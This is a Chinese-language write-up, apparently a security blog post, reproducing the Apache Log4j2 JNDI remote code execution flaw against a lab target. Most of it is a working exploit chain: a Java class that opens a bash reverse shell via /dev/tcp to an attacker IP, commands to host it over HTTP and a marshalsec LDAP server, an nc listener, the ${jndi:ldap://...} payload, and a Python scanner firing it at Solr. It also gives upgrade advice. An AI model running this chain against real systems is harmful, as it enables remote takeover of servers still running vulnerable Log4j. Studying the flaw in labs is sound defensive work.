所有文章,仅供安全研究与学习之用,后果自负!
0x00 前言
Apache Log4j2是一款优秀的Java日志框架。2021年11月24日,阿里云安全团队向Apache官方报告了Apache Log4j2远程代码执行漏洞。
0x01 漏洞描述
由于Apache Log4j2某些功能存在递归解析功能,攻击者可直接构造恶意请求,触发远程代码执行漏洞。漏洞利用无需特殊配置。阿里云应急响应中心提醒 Apache Log4j2 用户尽快采取安全措施阻止漏洞攻击。
0x02 影响范围
https://github.com/YfryTchsGD/Log4jAttackSurface
Apache Struts2、Apache Solr、Apache Druid、Apache Flink等均受影响。
了解到 已经有人可以绕过2.15.0-rc1版本,
影响版本
2.0<= Apache Log4j 2 < 2.15.0-rc2
0x03 环境搭建
(1)本地idea 项目测试
JNDI注入服务端选择使用 https://github.com/feihong-cs/JNDIExploit 搭建,命令:
java -jar JNDIExploit-1.2-SNAPSHOT.jar -i VPS_IP
(2)可本地 docker搭建
docker pull vulfocus/log4j2-rce-2021-12-09
docker run -dt --name log4j -p 8080:8080 --rm vulfocus/log4j2-rce-2021-12-09
(3)在线靶场测试 掌控安全 或者 vulfocus
http://d63bb2586.lab.aqlab.cn/
dnslog测试
0x04 漏洞复现
http://d63bb2586.lab.aqlab.cn/
复现方法 与fastjson 差不多
可参考 之前写的 fastjson复现文章
(1)编译恶意类
exploit.java内容
import java.io.BufferedReader;
import java.io.InputStream;
import java.io.InputStreamReader;
public class Exploit{
public Exploit() throws Exception {
Process p = Runtime.getRuntime().exec(new String[]{"bash", "-c", "bash -i >& /dev/tcp/你的ip地址/9897 0>&1"});
InputStream is = p.getInputStream();
BufferedReader reader = new BufferedReader(new InputStreamReader(is));
String line;
while((line = reader.readLine()) != null) {
System.out.println(line);
}
p.waitFor();
is.close();
reader.close();
p.destroy();
}
public static void main(String[] args) throws Exception {
}
}
javac Exploit.java
(2)python启用http服务 部署恶意类
python3开启http服务
python3 -m http.server 8080
(3)marshalsec 开启 LDAP服务
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://http服务地址:端口/#Exploit" 9999
(4)接收shell的服务器 开启监听
nc -lvvp 9897
(5)在目标服务执行payload
${jndi:ldap://LDAP服务地址:LADP服务端口/Exploit}
攻击结果
LDAP服务 被访问
http服务放置的恶意类被访问
恶意类中的代码被目标靶机执行 shell反弹成功
0x05 修复方法
升级Apache Log4j 2至最新安全版本
目前log4j-2.15.0-rc1 已经存在绕过
0x06 POC编写
```go
#coding=utf-8
import sys
import requests
import getopt
opts,args = getopt.getopt(sys.argv[1:],
'u:',
['url='])
url = ''
for o,a in opts:
if o in ['-u','--url']:
url = a
payload = '/solr/admin/cores?action=${jndi:ldap://iuwci7.dnslog.cn}'
target = url + payload
header = {
'User-Agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:97.0) Gecko/20100101 Firefox/97.0',
'Accept':'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8',
'Accept-Language':'zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2',
'Accept-Encoding':'gzip, deflate'
}
re = requests.get(target,headers=header)
if re.status_code == 400:
print('攻击成功!请进入dnslog 进一步准确判断!')
else:
print('攻击失败!')
测试成功
0x07 总结
只要是 java8 及一下 dnslog 都可以成功 但命令不一定可以执行
具体看 java版本 及jdk版本
java 8 及 以下版本 几乎可以成功
jdk处于 8的 140之下才可以更好的执行命令。